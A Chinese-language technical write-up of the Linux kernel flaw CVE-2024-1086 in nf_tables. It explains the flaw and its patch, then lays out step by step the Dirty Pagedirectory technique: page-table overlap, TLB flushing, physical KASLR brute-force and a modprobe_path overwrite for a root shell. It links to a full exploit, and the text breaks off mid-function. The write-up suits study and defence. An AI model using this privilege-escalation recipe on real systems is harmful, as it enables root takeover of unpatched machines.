【kernel exploit】CVE-2024-1086 nftables UAF漏洞-Dirty Pagedirectory利用方法

影响版本:Linux v3.15 - v6.7.2。v5.15.149 / v6.1.76 / v6.6.15 / v6.7.3 已修复,包括CentOS、Debian、Ubuntu和KernelCTF等。

注意,本exp适用于v5.14.21~v6.3.13,成功率99.4%;对于v6.4及以上版本的内核,默认开启了CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5),本exp会失败,若关闭开选项,本exp最高可支持到v6.6.4。

测试版本:Linux-6.3.13 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项CONFIG_USER_NS=y (设置命令sysctl kernel.unprivileged_userns_clone = 1

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_NF_TABLES=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.13.tar.xz
$ tar -xvf linux-6.3.13.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

普通内核中(KernelCTF、Ubuntu 和 Debian等主要发行版),会关闭CONFIG_INIT_ON_FREE_DEFAULT_ON,否则会将释放后的page置为NULL,会影响skb利用的部分。CONFIG_INIT_ON_ALLOC_DEFAULT_ON是默认开启的,但是在v6.4.0版本以后会产生副作用(bad_page()检测,导致利用失败),如果关闭CONFIG_INIT_ON_ALLOC_DEFAULT_ON,本exp可以支持到v6.6.4。

漏洞描述:netfilter子系统nf_tables组件中存在UAF漏洞,nft_verdict_init()函数中,允许设置一个很大的verdict值(恶意值0xffff0000);nf_hook_slow() 函数中,在处理NF_DROP (0)时,它会先释放skb数据包,并调用NF_DROP_GETERR()来修改返回值(根据verdict值设置为NF_ACCEPT - 正值1)。后续引用skb时触发UAF,NF_HOOK()会再次释放skb。

补丁:patch 修复方法是,去掉 data->verdict.code & NF_VERDICT_MASK,一旦出现非法的verdict值则返回错误,防止用户将verdict设置为恶意值(0xffff0000)。

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 02f45424644b4d..c537104411e7d1 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10992,16 +10992,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
 	data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
 
 	switch (data->verdict.code) {
-	default:
-		switch (data->verdict.code & NF_VERDICT_MASK) {
-		case NF_ACCEPT:
-		case NF_DROP:
-		case NF_QUEUE:
-			break;
-		default:
-			return -EINVAL;
-		}
-		fallthrough;
+	case NF_ACCEPT:
+	case NF_DROP:
+	case NF_QUEUE:
+		break;
 	case NFT_CONTINUE:
 	case NFT_BREAK:
 	case NFT_RETURN:
@@ -11036,6 +11030,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
 
 		data->verdict.chain = chain;
 		break;
+	default:
+		return -EINVAL;
 	}
 
 	desc->len = sizeof(data->verdict);

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:构造重叠的PMD页和PTE页,PMD[0]/PMD[1]会覆写PTE[0]/PTE[1],通过往PTE页对应的用户虚拟地址写入,来伪造PMD[0]对应的PTE页(条目对应的是物理地址),这样就能通过往PMD对应的用户虚拟地址写入,实现任意物理地址写。

  • (0)初始化:设置用户命名空间、网络接口、nftables初始化(添加rule - 比较包的前8字节是否为\x41,protocol字段是否为70,再添加恶意verdict值);
    • (0-1)预分配一个PUD,便于之后分配重叠的PMD;
    • (0-2)提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册16000/512个PMD页);
    • (0-3)预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页;
    • (0-4)预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目 2*512*4096 = 0x400000
    • (0-5)创建5个socket:ip/udp client/udp server/tcp client/tcp server
  • (1)触发Double-Free,构造重叠的PMD页和PTE页
    • (1-1)分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃;
    • (1-2)1st Double-Free skb (SOCK_RAW ip包,避免二次释放时崩溃),触发nftables rule释放skb;
    • (1-3)释放170个skb到freelist,避免Double-Free检测导致崩溃;
    • (1-4)堆喷16000个PTE页,耗尽PCP order-0 list;
    • (1-5)2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb);
    • (1-6)分配重叠的PMD页。PMD[0]/PMD[1]会覆写PTE[0]/PTE[1]
    • (1-7)找到重叠的PTE页对应的用户虚拟地址 - pte_area:如果PTE页和PMD页重叠,则PTE条目pte[0]就会被覆写为&_pmd_area区域中的 PFN+flags,而不是 0x41
  • (2)查找内核物理基地址 (每次扫描512页,对应1个PTE页)
    • (2-1)伪造PTE页,指向待扫描的物理地址;
    • (2-2)flush TLB (在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新);
    • (2-3)每次迭代扫描1个PTE页(而不是CONFIG_PHYSICAL_ALIGN),根据指纹查找内核物理基址;
  • (3)查找 modprobe_path 物理基址
    • (3-1)从内核基址开始扫描 40 * 0x200000 (2MiB) = 0x5000000 (80MiB)字节, 搜索modprobe_path,如果没找到,则从另一个内核基址开始扫;
    • (3-2)伪造第2个PTE页,指向待扫描的物理地址;
    • (3-3)搜索modprobe_path地址,并通过覆写来验证是否为正确地址;
  • (4)覆写modprobe_path
    • (4-1)猜测当前ns的PID号,将modprobe_path修改为 "/proc/<pid>/fd/<script_fd>"
  • (5)获取root shell
    • (5-1)构造提权脚本;
    • (5-2)触发执行modprobe_path,如果PID错误,则什么也不发生;
    • (5-3)如果PID正确,且提权脚本成功执行,就会顺便往status_fd文件中写1。

1. 总览

1-1. 利用总结

本文的利用方法参考了Dirty Pagetable blogpost,改进该方法后用于提权,并引入了一些实用的利用技巧(例如TLB flushing)。基于Dirty Pagedirectory技术(页表混淆),从用户层实施内核空间镜像攻击(KSMA)。

请添加图片描述

对各版本的内核测试结果如下:

| Kernel | Kernel Version | Distro    | Distro Version    | Working/Fail | CPU Platform      | CPU Cores | RAM Size | Fail Reason                                                                           | Test Status | Config URL                                                                                                                               |
|--------|----------------|-----------|-------------------|--------------|-------------------|-----------|----------|---------------------------------------------------------------------------------------|-------------|------------------------------------------------------------------------------------------------------------------------------------------|
| Linux  | v5.4.270       | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [CODE] pre-dated nft code (denies rule alloc)                                         | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config               |
| Linux  | v5.10.209      | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] BUG mm/slub.c:4118                                                            | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config              |
| Linux  | v5.14.21       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config               |
| Linux  | v5.15.148      | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config              |
| Linux  | v5.16.20       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config               |
| Linux  | v5.17.15       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config               |
| Linux  | v5.18.19       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config               |
| Linux  | v5.19.17       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config               |
| Linux  | v6.0.19        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config                |
| Linux  | v6.1.55        | KernelCTF | Mitigation v3     | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.72        | KernelCTF | LTS               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config          |
| Linux  | v6.2.?         | Ubuntu    | Jammy v6.2.0-37   | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       |                                                                                                                                          |
| Linux  | v6.2.16        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config                |
| Linux  | v6.3.13        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config                |
| Linux  | v6.4.16        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config                |
| Linux  | v6.5.3         | Ubuntu    | Jammy v6.5.0-15   | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config         |
| Linux  | v6.5.13        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config                |
| Linux  | v6.6.14        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config                |
| Linux  | v6.7.1         | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [CODE] nft verdict value incorrect is altered by kernel                               | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config                 |

1-2. 重要利用技巧

触发UAF:先添加Netfilter rule,rule中包含expression(功能是设置恶意的verdict值,使得nf_tables内核代码解释NF_DROP,然后释放skb,再返回NF_ACCEPT,最后两次释放skb);然后,通过分配 migratetype 为0的16-page IP包(目的是让buddy系统来分配,而非SLAB系统)来触发该rule的执行。

延迟二次释放:利用IP 数据包的 IP 分段逻辑。这样就能让skb在IP 分段队列中“等待”,不会被释放。避免损坏的skb触发路径崩溃,可以伪造IP 源地址 1.1.1.1 和目标地址 255.255.255.255,但这意味着需要处理反向路径转发(RPF),所以需要在网络命名空间中禁用RPF。

任意物理地址读写:采用脏页目录(Dirty Pagedirectory)技术,本质就是通过在同一物理页上分配PTE页(页表条目)和PMD页(页中间目录),构造页表混淆。利用PTE写用户页时,实际会篡改PMD中的PTE条目(物理地址),构造任意物理地址读写。

Double-free原语转化将skb的Double-Free转化为PMD和PTE的内存重叠。这些页表页都是调用alloc_pages()分配的,且migratetype==0 order==0,而skb头(漏洞对象)是调用kmalloc()分配的。通常,slab分配器用于管理的页order<=1,PCP 分配器管理的页order<=3,buddy系统管理的页order>=4。为了避免麻烦,必须构造伙伴系统页(order>=4)的double-free,以构造PTE/PMD 页面的重叠状态。如何kmalloc 上的double-free转化为伙伴系统页(order>=4)的double-free呢?有两种方法:

  • (1)新型页转化技术(PCP list耗尽)—— 特点是更简单、更稳定、更快速,由于PCP分配器就是一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。那么就可以通过将16-page页(order-4)释放到伙伴分配器的freelist,排空PCP list,并用来自伙伴系统freelist的64个页(order==0)来重新填充PCP list(包含上述的16-page页)。
  • (2)传统页转化技术(条件竞争)—— 本方法依赖竞争条件,只能用于QEMU等虚拟化环境,其终端IO会导致 VM 内核出现严重延迟。主要是利用WARN()消息会产生50-300 毫秒的延迟来触发竞争条件,将伙伴系统中的order==4页释放到order==0的PCP freelist。本方法在实际硬件上不起作用(延迟仅1ms左右),只能采用第1种方法。作者在最初的kernelctf 漏洞利用中使用了这种技术。

注意,在二次释放之间,需确保page的引用计数不为0,否则释放失败(内核会检测,防止二次释放)。另外,将skb对象喷射到同一CPU的skbuff_head_cache slab cache中,以避免kernelctf中的freelist损坏检查机制,提高稳定性。

1-3. 其他利用原理

任意物理地址读写原理:利用UAF构造重叠的PTE页和PMD页。PTE页被PMD页覆盖,那么PTE页指向的物理地址实际上是PMD的PTE页地址;那么我们通过PTE来写用户页时(可以伪造PTE值,包含页权限和页物理地址),实际上篡改了PMD的PTE页;最后再通过PMD来写用户页,实际就会往伪造的物理地址写入。

刷新TLB:为了利用这个任意读写原语,需要刷新TLB。作者提出一种新的方法,从用户空间刷新Linux中的TLB——调用 fork() ,在子进程中调用 munmap() 解除PMD的地址映射,刷新父进程的 VMA。为了避免子线程退出程序时崩溃,可以让子线程休眠。

泄露物理基址利用任意物理地址读写来爆破物理KASLR,此过程可以加速,因为物理内核基址和CONFIG_PHYSICAL_START0x100'0000 / 16MiB)或CONFIG_PHYSICAL_ALIGN0x20'0000 / 2MiB)是对齐的。如果内存为8G(16M对齐),只需检查2M的页就能泄露物理基址。作者采用get-sig 脚本生成了精确的内核指纹(可以跨编译器)。

计算modprobe_path地址:通过扫描内核基址后80M内存来搜索"/sbin/modprobe" + "\x00" * ...字符串,以找到modprobe_path。为了验证是否找到真实的 modprobe_path,可先覆写modprobe_path并检查/proc/sys/kernel/modprobe是否被修改(用户层可读)。如果开启了CONFIG_STATIC_USERMODEHELPER防护,可转而修改"/sbin/usermode-helper"

获取shell:为了获取shell并逃逸用户命名空间,可覆写modprobe_path"/sbin/usermode-helper"指向exp中的memfd文件描述符(其中包含提权脚本),例如/proc/<pid>/fd/<fd>fd目录包含了所有该进程使用的文件描述符,也即EXP中创建的提权脚本文件)。这种方法可以使exp在只读文件系统上运行(例如perl引导的系统),本质是将字符串写入用户空间地址并执行文件(memfd_create()创建的伪文件)。如果是在namespace中运行exp,还需要爆破EXP所属的PID。爆破速度很快,因为没有修改PTE的物理地址,所以不需要刷新TLB。

  • 提权脚本:以root身份执行一个/bin/sh进程,并hook exp的文件描述符(/dev/<pid>/fd/<fd>)指向shell的文件描述符,以实现命名空间的逃逸。本方法的优点是通用,可以在本地或反向shell上工作,不依赖文件系统或其他形式的隔离。

2. 背景知识

2-1. nf_tables

介绍nf_tablesiptables防火墙的后端内核模块,iptables本身也是ufw的后端。为了决定哪些数据包可通过防火墙,nftables 使用了用户发出rule的状态机。

(1)Netfilter 层次结构

层次:table (哪种协议) -> chains (触发方式) -> rules (状态机函数) -> expressions (状态机指令)

请添加图片描述

详细知识可参考"How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables."

(2)Netfilter Verdicts

与本文相关的是Netfilter Verdicts,verdict就是Netfilter rule对包是否通过做出的决定,丢弃或接收。如果丢弃就停止处理该包,如果接收则继续处理数据包,直至通过所有规则。verdict值如下:

  • NF_DROP:丢弃数据包,停止处理。
  • NF_ACCEPT:接受数据包,继续处理。
  • NF_STOLEN:停止处理,钩子需要释放它。
  • NF_QUEUE:让用户态应用程序处理它。
  • NF_REPEAT:再次调用钩子。
  • NF_STOP(已弃用):接受数据包,停止在 Netfilter 中处理它。

2-2. sk_buff (skb)

也即 sk_buff 结构,用于描述网络数据(包括 IP 数据包、以太网帧、WiFi 帧等),简称为 skb。描述数据包的有2个重要对象:

  • sk_buff对象本身,包含skb处理的元数据;
  • sk_buff->head对象,包含实际的包内容,例如IP头和IP数据包主体。

请添加图片描述

为了使用IP头中的值(因为IP数据包是在内核中处理的),内核可通过ip_hdr()对IP头结构和sk_buff->head对象进行类型双关。该基址有助于快速解析header,在二进制文件ELF头解析中也用到了该技巧。详细知识可参见"struct sk_buff - The Linux Kernel"。

2-3. IP数据包分片

IPv4数据包支持分片传输,片段也是常规的IP包,只不过IP头中不包含完整的数据包大小,并在IP头中的IP_MF flag设置标记。

IP数据包长度为iph->len = sizeof(struct ip_header) * frags_n + total_body_length。Linux内核中,单个IP数据包的所有碎片都存在同一棵红黑树中(称为IP frag队列),直到接收完所有碎片。重组包时需要IP分片的偏移:iph->offset = body_offset >> 3body_offset就是最终IP包中的偏移。注意,片段数据都是8字节对齐的,因为高3位用作flag(即IP_MFIP_DF)。例如,如果用2个大小为8和56字节的片段来传输64字节的数据,这2个片段初始化如下:

iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag          IP_MF=0x2000 表示是分片包
memset(iph1_body, 'A', 8); 
transmit(iph1, iph1_body, 8); 

iph2->len = sizeof(struct ip_header)*2 + 64; 
iph2->offset = ntohs(8 >> 3); // 高3位用作flag;最后一个包不需要设置IP_MF
memset(iph2_body, 'A', 56); 
transmit(iph2, iph2_body, 56);

关于IP分片的详细知识可参见"IP Fragmentation in Detail"。

2-4. 页分配

Linux内核主要有3种分配器:

  • buddy分配器——调用alloc_pages(),可分配任何order页(0->10),从跨CPU的全局页池中分配页;
  • per-cpu page (PCP) 分配器——调用alloc_pages(),可分配order为0->3的页;
  • slab分配器——调用kmalloc(),可分配order为0->1的页(甚至更小的内存),从特点的CPU freelist/caches中分配。

PCP分配器存在的原因:当一个CPU从全局页池中分配页面时,伙伴系统会加锁,导致另一个CPU分配页面时阻塞。PCP分配器通过设置较小的CPU页池(由伙伴系统批量分配)来避免锁竞争,减小阻塞几率。

请添加图片描述

请添加图片描述

更多分配器知识可参见"Reference: Analyzing Linux kernel memory management anomalies"。

2-5. 物理内存

(1)物理内存到虚拟内存的映射

物理内存是RAM芯片使用的内存,虚拟内存是CPU上运行的程序与物理内存交互的方式。虚拟地址范围可以大于物理地址范围(因为空的虚拟页不需要映射),1个物理页可以映射到多个虚拟页。这意味着,在只有4G物理内存的系统上,每个进程可以使用128T的虚拟内存。理论上,可以将一个物理页(4096个 \x41字节)映射到所有128T的用户虚拟页上。当一个程序往虚拟页写入1个\x42字节时,会执行写时拷贝(COW)、创建第2个物理页,并将该页映射到对应的虚拟页

请添加图片描述

虚拟地址转换到物理地址:CPU使用页表。例如,用户程序读取虚拟地址0xDEADBEEF,指令是mov rax, [0xDEADBEEF],需要将虚拟地址0xDEADBEEF转换到RAM上的物理地址。CPU首先在Translation Lookaside Buffer (TLB,存在于MMU中) 中查找,TLB上存储着最近的虚拟地址到物理地址的转换。如果虚拟地址0xDEADBEEF最近被访问过,则直接从TLB上获取物理地址,不需要访问页表。否则需要遍历页表来查找物理地址。

更多物理内存的资料可参见memory layout page from a Harvards Operating Systems course。

(2)页表

页表就是一个嵌套数组,物理地址位于底部数组中。下图使用9位的页表索引(因为29=512,512*8=4096 该页表值适合单个页),这里以4级页表为例(内核还支持5级、3级页表)。 虚拟地址可以被分为5部分,9|9|9|9|12, 第一个9是pgd表的索引.可以得到pgd项; 第二个9是pud表的索引,可以得到pud项;第三个9是pmd表的索引,可以得到pmd项;第四个9是pte表的索引,可以得到pte项;第五个12是页内偏移。

请添加图片描述

嵌套数组的优点:节省内存。不需要为128T虚拟地址分配一个巨大的数组,而是将其划分为几个较小的数组,每一层都有一个较小的bailiwick。这意味着,负责未分配区域的表不需要分配内存。

遍历表的速度非常快,因为直接是数组访问,效率为O(1)。但速度还是赶不上TLB。页表的PGD的基地址存储在 CR3 寄存器中,只有特权进程能访问,当内核调度器使CPU切换到另一个进程的上下文时,内核会将 CR3 设置为virt_to_phys(current->mm->pgd)

CPU查找页表的过程可参见Wikipedia page on control registers。

2-6. TLB 刷新

当内核空间中虚拟地址的页表变化时,TLB也需要更新。修改页表时会触发内核中的刷新函数,清空TLB(可能仅清空特定地址范围)。下一次访问虚拟地址时,会将地址转换保存到TLB中。

但有时exp会以意想不到的方式修改页表,例如利用UAF覆写PTE,这时不会触发TLB刷新函数,因为是利用漏洞来篡改的页表。因此,我们需要从用户空间间接刷新TLB,否则TLB将包含过时的缓存条目。本文介绍了新的TLB刷新方法。

TLB详细知识可参见"Translation lookaside buffer - Wikipedia"。

2-7. 脏页表

脏页表(Dirty Pagetable)是"Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel" 中提到的一种新技术,也即通过覆写PTE来进行KSMA攻击。这篇文章提到了两种覆写PTE的场景:Double-Free和UAF写。

请添加图片描述

本文还引入了一些新的点,例如页表如何工作、TLB刷新、POC代码、物理KASLR的工作原理和PTE的格式,此外还介绍了这种技术的变体,脏页目录(Dirty Pagedirectory)。

2-8. 覆写 modprobe_path

原理:在编译时可通过CONFIG_MODPROBE_PATH设置modprobe_path变量的值(默认为"/sbin/modprobe"),后面填充NULL补齐到KMOD_PATH_LEN字节。当用户尝试执行头部具有未知magic字节的二进制文件时,会用到该变量。例如,执行头部为FE45 4C46".ELF")的二进制文件时,内核将查找与该magic字节匹配的已注册的binary handler,如果是ELF就会选择ELF binfmt handler;如果已注册的binfmt无法识别,就会调用modprobe_path,它将查找名为binfmt-%04x的内核模块,其中%04x是文件中前 2 个字节的十六进制表示形式。

请添加图片描述

利用方法:可将modprobe_path覆写为/tmp/privesc_script.sh,然后执行错误格式的文件(例如ffff ffff),内核就会以root身份运行/tmp/privesc_script.sh -q -- binfmt-ffff,提权。

防护机制及绕过方法:但是内核引入了CONFIG_STATIC_USERMODEHELPER_PATH防护机制,这样就无法覆写modprobe_path了。其原理是将每个执行的二进制文件路径设置为类似busybox 的二进制文件,其行为根据传递的argv[0]文件名而有所不同。如果覆写modprobe_path,则只有argv[0]文件名不同,类似 busybox 的二进制文件无法识别该值,因此不会执行。绕过方法是覆写内核内存中只读的"/sbin/usermode-helper"字符串。

2-9. KernelCTF

KernelCTF 是 Google 运行的一个程序,旨在公开(强化的)Linux 内核的新利用技术。有三个版本:LTS(使用现有缓解措施强化的长期稳定内核)、缓解措施(在现有缓解措施之上使用实验性缓解措施强化的内核)和 COS(容器优化的操作系统)。为了破解KernelCTF,需要读取root命名空间中的/flag,所以既要逃逸命名空间沙箱(nsjail),又要提权。

更多信息可参见"KernelCTF rules | security-research"。

3. 漏洞分析

3-1. 寻找漏洞

作者在阅读nf_tables代码时,注意到nf_hook_slow()函数,该函数循环遍历chain中的rule,并在NF_DROP发出时立即停止评估(返回)。在处理NF_DROP时,它会释放数据包,并调用NF_DROP_GETERR()来设置返回值。如果将ret返回值设置为NF_ACCEPT,就会触发Double-Free

// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
		 const struct nf_hook_entries *e, unsigned int s)
{
	unsigned int verdict;
	int ret;

	// 遍历chain中的rule
	for (; s < e->num_hook_entries; s++) {
		// 获得rule的verdict值
		verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

		switch (verdict & NF_VERDICT_MASK) { 		// NF_VERDICT_MASK=0x000000ff   verdict设置为0xffff0000
		case NF_ACCEPT:
			break;  // 开始下一条 rule
		case NF_DROP:
			kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP); 	// 释放skb

			// 检查 verdict 是否含有 drop err
			ret = NF_DROP_GETERR(verdict); 		// 调用 NF_DROP_GETERR() 设置返回值 !!!!!!!!!!!!!
			if (ret == 0)
				ret = -EPERM;

			// 立刻返回,不再评估其他rule
			return ret;

		// [snip] alternative verdict cases
		default:
			WARN_ON_ONCE(1);
			return 0;
		}
	}

	return 1;
}

static inline int NF_DROP_GETERR(int verdict)
{
	return -(verdict >> NF_VERDICT_QBITS); 			// NF_VERDICT_QBITS = 16         -(0xffff0000 >> 16)=FFFF 0001
}

3-2. 漏洞分析

漏洞本质:当为netfilter hook创建verdict对象时,内核允许正的drop错误值。攻击者可以构造如下情况,当从hook/rule返回NF_DROP时,nf_hook_slow()会释放skb对象,并将返回值修改为NF_ACCEPT(就像chain中每个hook/rule都返回NF_ACCEPT一样),进而导致nf_hook_slow()的调用者误解,继续处理数据包最终导致Double-Free

nft_verdict_init() 创建verdict对象:在此处伪造verdict值。

// userland API (netlink-based) handler —— 可以初始化 verdict 
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
			    struct nft_data_desc *desc, const struct nlattr *nla)
{
	u8 genmask = nft_genmask_next(ctx->net);
	struct nlattr *tb[NFTA_VERDICT_MAX + 1];
	struct nft_chain *chain;
	int err;

	// [snip] initialize memory

	// 攻击者可将该值设置为: data->verdict.code = 0xffff0000
	switch (data->verdict.code) {
	default:
		// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
		switch (data->verdict.code & NF_VERDICT_MASK) { 	// #define NF_VERDICT_MASK 0x000000ff !!!!!!!!!!!!!! 漏洞根源——允许用户设置很大的非法的verdict值
		case NF_ACCEPT:
		case NF_DROP:
		case NF_QUEUE:
			break;  // happy-flow    从这里跳出,verdict值被设置为恶意值
		default:
			return -EINVAL;
		}
		fallthrough;
	case NFT_CONTINUE:
	case NFT_BREAK:
	case NFT_RETURN:
		break;  // happy-flow
	case NFT_JUMP:
	case NFT_GOTO:
		// [snip] handle cases
		break;
	}

	// 成功将 verdict 值设置为 0xffff0000
	desc->len = sizeof(data->verdict);

	return 0;
}

nf_hook_slow() :遍历rule,修改返回值,触发漏洞。

// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
         const struct nf_hook_entries *e, unsigned int s)
{
    unsigned int verdict;
    int ret;

    for (; s < e->num_hook_entries; s++) {
        // 已构造恶意的rule来设置verdict值: verdict = 0xffff0000
        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);  

        // 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
        switch (verdict & NF_VERDICT_MASK) {  
        case NF_ACCEPT:
            break;
        case NF_DROP:
            // double-free的第一次释放
            kfree_skb_reason(skb,
                     SKB_DROP_REASON_NETFILTER_DROP);  
            
            // NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)      返回值被改为了1
            ret = NF_DROP_GETERR(verdict);  
            if (ret == 0)
                ret = -EPERM;
            
            // 返回 NF_ACCEPT, 继续处理数据包
            return ret;  

        // [snip] alternative verdict cases
        default:
            WARN_ON_ONCE(1);
            return 0;
        }
    }

    return 1;
}

NF_HOOK():如果状态为NF_ACCEPT,则调用回调函数。

static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk, 
	struct sk_buff *skb, struct net_device *in, struct net_device *out, 
	int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
	// 调用 nf_hook_slow()
	int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);

	// if skb passes rules, handle skb, and double-free it
	if (ret == NF_ACCEPT)
		ret = okfn(net, sk, skb); 	// <--- 继续处理数据包最终导致Double-Free

	return ret;
}

3-3. 漏洞影响与利用

影响:会导致两个对象的Double-Free,一是skbuff_head_cache cache中的 sk_buff 对象,二是大小变化的sk_buff->head对象,范围是kmalloc-2564-order 页(65536字节)之间。

分配漏洞对象sk_buff->head对象是通过调用kmalloc_reserve() -> __alloc_skb() 分配的,其大小直接受网络数据包大小的影响,因为该对象包含数据包内容。因此,如果发送40k的数据包,内核就会从伙伴系统分配4-order页。

复现该漏洞时会导致内核崩溃,因为释放skb时,skb中某些字段会被破坏,需要避免使用这些字段,才能获得稳定的Double-Free。

4. 利用技巧

4-1. 伪造页refcount

页释放检查:两次释放页时,内核会检查页的refcount值:

void __free_pages(struct page *page, unsigned int order)
{
	/* get PageHead before we drop reference */
	int head = PageHead(page);

